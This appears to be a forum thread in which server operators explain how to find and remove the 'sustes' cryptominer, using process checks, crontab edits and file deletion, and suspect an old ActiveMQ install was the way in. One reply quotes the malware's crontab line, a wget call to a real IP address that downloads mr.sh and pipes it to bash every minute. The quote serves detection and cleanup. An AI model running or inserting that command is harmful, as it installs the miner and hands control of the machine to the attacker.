This is a cryptominer malware. You must delete it from your droplets. First delete this cron job. It runs under user, which called process “sustes”. You can find this username with “top” or in output of this comand: ps aux | grep sustes

Then look at cron job of this user: crontab -u username -l If it has this string

then edit this crobjob crontab -e -u username

or delete at all by crontab -r -u username

Then delete these files /var/tmp/sustes /var/tmp/sustes3 /var/tmp/wc.conf /var/tmp/123

We also had the same problem, we were using activemq 5.9 which we suspected might have the vulnerability because after we updated it to latest, the process didn’t started automatically. We observed on every friday, test server had this process automatically running.

We’ve found a similar script/process. Turned out our test server had been compromised and its actually been mining crypto currency.

Check the crontab file for the following:

* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh > /dev/null 2>&1

Edit: not sure if I should remove the IP address
